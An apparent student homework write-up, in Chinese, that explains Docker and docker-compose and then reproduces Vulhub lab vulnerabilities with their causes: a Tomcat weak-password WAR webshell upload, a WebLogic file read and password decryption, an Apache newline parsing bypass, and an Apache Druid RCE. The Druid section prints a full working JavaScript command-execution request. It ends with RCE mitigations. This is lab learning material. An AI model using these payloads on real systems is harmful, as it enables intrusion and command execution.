第八次作业

1.安装docker和docker-compose

Docker 是一个开源的平台,用于自动化应用程序的部署、扩展和管理。它使用容器技术来打包应用程序及其所有依赖项,以便在不同的计算环境中一致地运行。

Docker 的关键组成部分

  1. Docker Engine:这是 Docker 的核心部分,它是一个运行在宿主机上的客户端-服务器应用。它包括一个守护进程(dockerd)和一个命令行客户端(docker)。

  2. Docker 镜像:镜像是一个轻量、可执行的独立软件包,它包含运行某个应用程序所需的所有代码、运行时、库、环境变量和配置文件。

  3. Docker 容器:容器是从 Docker 镜像创建的运行实例。容器是隔离的、可移植的,可以在任何支持 Docker 的系统上运行。

  4. Dockerfile:这是一个文本文件,包含了 Docker 镜像构建的所有指令。通过编写 Dockerfile,你可以定义如何创建自定义镜像。

  5. Docker Compose:这是一个工具,用于定义和运行多个容器的应用。使用 docker-compose.yml 文件,你可以配置应用的服务、网络和卷等。

Docker 的主要特点包括:

  1. 容器共享宿主操作系统的内核,因此比虚拟机更轻量,占用更少的资源。

  2. 容器可以在任何支持 Docker 的系统上运行,确保应用在不同环境中的一致性。

  3. 容器启动速度远快于虚拟机,通常在几秒钟内即可启动。

  4. 每个容器都在独立的环境中运行,确保应用的依赖和配置不会干扰其他容器。

  5. 镜像可以版本化,允许轻松回滚到以前的版本。

  6. 通过 Docker Compose  等工具,用户可以轻松管理和编排多容器应用。

 安装 Docker

 Docker Compose

Docker Compose 是一个用于定义和运行多容器 Docker 应用的工具。通过 docker-compose.yml 文件,你可以配置应用的服务、网络和卷,然后使用简单的命令来启动、停止和管理整个应用。 

特点:

  1. 允许用户通过一个单独的配置文件定义和管理多个容器,简化了复杂应用的管理。

  2. 使用 docker-compose.yml 文件来描述应用的服务、网络和卷。这种声明性配置简化了容器的配置和启动过程。

  3. 可以使用 docker-compose up 命令启动所有服务,并自动创建和启动定义的容器、网络和卷。

  4. 确保开发、测试和生产环境中的容器配置一致,减少环境间的不一致性问题。

  5. 提供了一系列简化的命令(如 docker-compose up, docker-compose down, docker-compose logs)来管理容器和查看日志。

  6. 支持通过 docker-compose.yml 文件的 scale 选项或 Docker Compose 的集群管理功能(如 Docker Swarm)扩展服务。

主要组件:

  1. docker-compose.yml 文件:配置文件,用于定义服务、网络和卷。每个服务可以指定其使用的镜像、构建上下文、环境变量、端口映射等。

  2. docker-compose 命令:CLI 工具,用于管理 Docker Compose 配置文件中的服务。主要命令包括:

    • docker-compose up:启动配置中的所有服务。
    • docker-compose down:停止并删除配置中的所有服务。
    • docker-compose build:构建服务镜像。
    • docker-compose logs:查看服务的日志。
    • docker-compose ps:查看正在运行的服务的状态。
  3. 服务:配置中的主要部分,每个服务代表一个 Docker 容器。服务可以从镜像构建,或通过 Dockerfile 进行构建。

  4. 网络:服务可以连接到一个或多个网络,Docker Compose 默认会创建一个网络来使所有服务相互可见。用户可以定义自定义网络。

  5. :用于在容器之间共享数据或持久化数据。Docker Compose 允许定义并挂载卷到服务中。

通过 Docker Compose,可以简化复杂应用的开发、测试和部署流程,尤其是在需要协调多个服务和容器的场景中。

 VPS安装docker-compose

2.vulhub中的漏洞,全部复现,同时说明漏洞成因

1.tomcat 弱口令/后台文件上传getshell

下载

启动

在vps的docker中启动靶场后访问8080端口

编辑shell.jsp

安装JDK后打包

把打包好的war包传回本机:

上传后访问

蚁剑连接

进入虚拟终端,成功。

漏洞成因

Tomcat manager 登录界面存在弱口令漏洞,而用户tomcat拥有上述所有权限,密码是tomcat。

omcat支持在后台部署war文件,可以直接将webshell部署到web目录下,直接访问路径,可直接拿到shell。

2.weblogic 弱口令/任意文件读取

访问weblogic后台

http://xxxxxxxx/hello/file.jsp?path=/etc/passwd直接访问到passwd,weblogic密码使用AES加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,为SerializedSystemIni.datconfig.xml,用burpsuite来读取使用weblogic_decrypt.jar工具解密

weblogic/Oracle@123直接登录管理后台

漏洞成因

  1. 存在弱口令
  2. WebLogic 存在任意文件读取漏洞,攻击者可以通过未授权的方式读取服务器上的敏感文件,这里被读取到了管理员密码的密文以及加密时使用的密钥。

3.apache 换行解析

打开8080端口,看到一个文件上传页面

此时我们用BP拦截抓包,,在上传文件包文件名后添加一个\x0A

访问上传的evil.php%0a文件成功,说明存在漏洞

漏洞成因

Apache HTTPD 2.4.0 到 2.4.29 版本的解析漏洞允许攻击者通过在文件名中插入换行符(如 \x0A)绕过安全策略。具体来说,当请求一个名为 XX.php\x0A 的文件时,Apache 会将其解析为 XX.php,而不是被视为不合法的文件名,从而绕过一些基于文件后缀的安全策略。这可能使得攻击者能够绕过配置限制并执行恶意的 PHP 代码。

4.apache druid RCE

访问8888端口进入Druid console控制台界面

浏览器在那个页面随便访问一个,打开BP拦截抓包,把POST请求包发送到Repeater,BP监听一下端口,然后,然后把内容替换成下面的数据包

POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
​
{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{
​
                },
                "dimensionsSpec":{
​
                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}

服务器执行id命令,可以更改id使用不同的命令

漏洞成因

在 Apache Druid 0.20.0 及以前版本中,存在一个漏洞,允许攻击者通过构造恶意请求执行任意 JavaScript 代码。这是因为 Druid 的某些功能允许嵌入用户提供的 JavaScript 代码,而这一功能默认启用且未对输入进行充分验证。攻击者可以利用这一点绕过配置限制,导致远程代码执行。

3. 总结RCE漏洞的原理和利用条件及解决方案

远程代码执行漏洞允许攻击者在目标系统上执行任意代码。其原理通常包括:

  1. 攻击者通过未验证或不正确验证的用户输入,注入恶意代码。
  2. 应用程序错误地执行了来自不信任源的代码,如通过 eval()exec()system() 等函数。

利用条件:

  1. 攻击者能够控制或影响传递给应用程序的输入。
  2. 应用程序允许从输入中生成和执行代码。
  3. 应用程序运行在足够高的权限下,使得恶意代码的执行能影响系统或数据。

解决方案:

  1. 确保所有用户输入都经过严格的验证和清理,避免将未过滤的输入直接传递到执行代码中。
  2. 尽量避免使用如 eval()exec()system() 等函数。如果必须使用,确保输入经过严格的处理。
  3. 应用程序应以最小权限运行,减少恶意代码成功执行带来的风险。
  4. 定期更新应用程序和依赖库,应用最新的安全补丁,修补已知的漏洞。
  5. 定期进行安全审计和代码审查,以发现和修复潜在的安全问题
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值